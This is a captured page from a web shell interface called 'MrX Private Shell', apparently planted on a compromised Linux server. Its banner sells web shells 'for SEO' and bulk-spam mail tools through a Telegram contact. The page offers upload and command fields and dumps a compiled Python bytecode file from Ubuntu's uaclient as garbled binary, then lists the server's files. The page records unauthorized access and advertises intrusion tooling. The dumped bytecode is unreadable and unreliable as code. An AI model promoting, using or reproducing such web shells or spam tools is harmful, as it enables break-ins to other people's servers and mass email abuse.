__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g,
���SSKrSSKJrJrJrJrJrJr SSKJ	r	 \R"\R"\55r
SrSrSr"SS\	5rg)	�N)�config�
exceptions�http�log�secret_manager�util)�AutoAttachInstancez
/dev/lxd/sockz/1.0/ubuntu-proz/1.0/ubuntu-pro/tokenc�r�\rSrSr\S\4Sj5rS\4SjrS\S\4SjrS\	RS\4SjrS	r
g
)�LXDAutoAttachInstance�
�returnc��g)NT���selfs �5/usr/lib/python3/dist-packages/uaclient/clouds/lxd.py�	is_viable�LXDAutoAttachInstance.is_viables���c��g)zKYes, but only once - is_pro_license_present doesn't
support wait_for_changeTrrs r�should_poll_for_pro_license�1LXDAutoAttachInstance.should_poll_for_pro_licenses��r�wait_for_changec��U(a[R"5e[R"[S[
5nURS:wa<[RS[R"URURS9S9 gURRSS5S	:wa[RS
5 gg)N�GET��z4LXD instance API returned error for ubuntu-pro query)�code�body)�extraF�guest_attach�off�onzNguest_attach config is not turned on. The machine will not try to auto-attach.T)r�CancelProLicensePollingr�unix_socket_request�LXD_INSTANCE_API_SOCKET_PATH�$LXD_INSTANCE_API_ENDPOINT_UBUNTU_PROr�LOG�errorrrr�	json_dict�get�info)rr�resps   r�is_pro_license_present�,LXDAutoAttachInstance.is_pro_license_presents�����4�4�6�6��'�'�(��0�
��
�9�9����I�I�F��i�i�T�Y�Y�T�Y�Y�?�
�
���>�>���n�e�4��<��H�H�`�
��r�cfgc���[R"[S[5nURS:Xa[
R"5eURS:Xa[
R"5eURS:waB[
R"URSR[[5URS9eURRSS5n[RRU5 U$)	zc
Cloud-specific implementation of acquiring the pro token using whatever
method suits the platform
�POSTi�i�rzunix://{}{})r�urlr�guest_token�)rr$r%�0LXD_INSTANCE_API_ENDPOINT_UBUNTU_PRO_GUEST_TOKENrr�LXDAutoAttachNotAvailable�LXDAutoAttachNotAllowed�ExternalAPIError�formatrr)r*r�secrets�
add_secret)rr/r,r3s    r�acquire_pro_token�'LXDAutoAttachInstance.acquire_pro_token1s���
�'�'�(��<�
��
�9�9����6�6�8�8�
�Y�Y�#�
��4�4�6�6�
�Y�Y�#�
��-�-��Y�Y�!�(�(�0�D���Y�Y�
�
��n�n�(�(���;�����)�)�+�6��rrN)�__name__�
__module__�__qualname__�__firstlineno__�property�boolrrr-r�UAConfig�strr<�__static_attributes__rrrrr
sQ��
��4�����T��
���$��4�V�_�_���rr)�logging�uaclientrrrrrr�uaclient.cloudsr	�	getLogger�replace_top_level_logger_namer>r'r%r&r5rrrr�<module>rLsK���H�H�.�
����:�:�8�D�E��.��'8�$�3J�0�=�.�=r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 3.21 KB 0644
aws.cpython-313.pyc File 7.89 KB 0644
azure.cpython-313.pyc File 4.42 KB 0644
gcp.cpython-313.pyc File 6.52 KB 0644
identity.cpython-313.pyc File 4.49 KB 0644
lxd.cpython-313.pyc File 3.64 KB 0644
Filemanager